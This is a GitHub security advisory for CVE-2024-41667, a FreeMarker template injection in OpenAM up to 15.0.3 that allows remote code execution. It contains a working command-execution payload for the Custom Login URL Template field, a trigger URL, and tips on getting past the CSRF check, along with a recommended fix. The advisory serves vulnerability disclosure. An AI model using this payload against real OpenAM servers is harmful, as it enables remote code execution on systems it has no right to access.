Skip to content

OpenAM FreeMarker template injection

High
vharseko published GHSA-7726-43hg-m23v Jul 24, 2024

Package

maven org.openidentityplatform.openam:openam-oauth2 (Maven)

Affected versions

<=15.0.3

Patched versions

15.0.4

Description

auth RCE in OpenAM<=15.0.3 latest

The vulnerability version:

<=OpenAM 15.0.3 latest

Vulnerability Description:

FreeMarker template injection
The reason I mentioned GHSA-4mh8-9wq6-rjxg in the description is because exploiting both vulnerabilities simultaneously achieves remote code execution without authorization.
This vulnerability can be exploited without CVE-2023-37471,This is a brand new vulnerability.

Vulnerability Cause:

The getCustomLoginUrlTemplate method in RealmOAuth2ProviderSettings.java is vulnerable to template injection due to its usage of user input.

image-20240722224758884

Although the developer intended to implement a [custom URL](https://backstage.forgerock.com/docs/idcloud/latest/am-reference/services-configuration.html#realm-oauth-oidc-advanced) for handling login to override the default PingOne Advanced Identity Cloud login page,they did not restrict the CustomLoginUrlTemplate, allowing it to be set freely.

Normal CustomLoginUrlTemplate Belike:

http://mylogin.com/login?goto=${goto}"
                + "<#if acrValues??>&acr_values=${acrValues}</#if><#if realm??>&realm=${realm}</#if>"
                + "<#if module??>&module=${module}</#if><#if service??>&service=${service}</#if>"
                + "<#if locale??>&locale=${locale}</#if>    
                
                

evil CustomLoginUrlTemplate

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}

Vulnerability Reproduction:

1. Creating a Malicious OAuth Service

Create a new OAuth proxy.

image-20240722225842356

Configure the OAuth2 Provider

image-20240722225957100

fill the Custom Login URL Template field with the triggering payload

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}

image-20240722230057934

2.Visit OAuth2 to trigger the payload

http://127.0.0.1:8080/OpenAM-15.0.3/oauth2/realms/root/authorize?client_id=1&scope=employeenumber&redirect_uri=https://github.com&response_type=code&csrf=AQIC5wM2LY4SfczyIULj2pD_csR6GSncuuxH2CEA7IIC0Ak.*AAJTSQACMDEAAlNLABM2MDY3NjE5NTU4NTgzMDk2MjM5AAJTMQAA*&max_age=200

Note:

The CSRF parameter is used to bypass CSRF attack detection,

Therefore CSRF parameter needs to match the iPlanetDirectoryPro parameter in the cookie.

The max_age parameter triggers the evaluation in isPastMaxAge(getMaxAge(request), authTime). In this method,

Copy CodemaxAge > -1 && maxAge <= currentTimeMillis() - authTime

Therefore, the max_age parameter needs to be tried with different numbers after -1 multiple times, such as max_age=100, max_age=200, and so on.

The overall attack path is as follows:

AuthorizationService.authorize ->
resourceOwnerSessionValidator.validate->
ResourceOwnerSessionValidator.authenticationRequired(request, token) ->
ResourceOwnerSessionValidator.authenticationRequired(OAuth2Request request)->
ResourceOwnerSessionValidator.buildDefaultLoginUrl->
loginUrlTemplate.process(templateData, loginUrlWriter)  

The loginUrlTemplate template is created using the following:

new Template("customLoginUrlTemplate", new StringReader(loginUrlTemplateString),
                        new Configuration())

3.Vulnerability prove

image-20240722231334747

Repair Recommendation:

Utilize TemplateClassResolver.SAFER_RESOLVER to disable the resolution of commonly exploited classes in FreeMarker template injection.

Severity

High

CVE ID

CVE-2024-41667

Weaknesses

Credits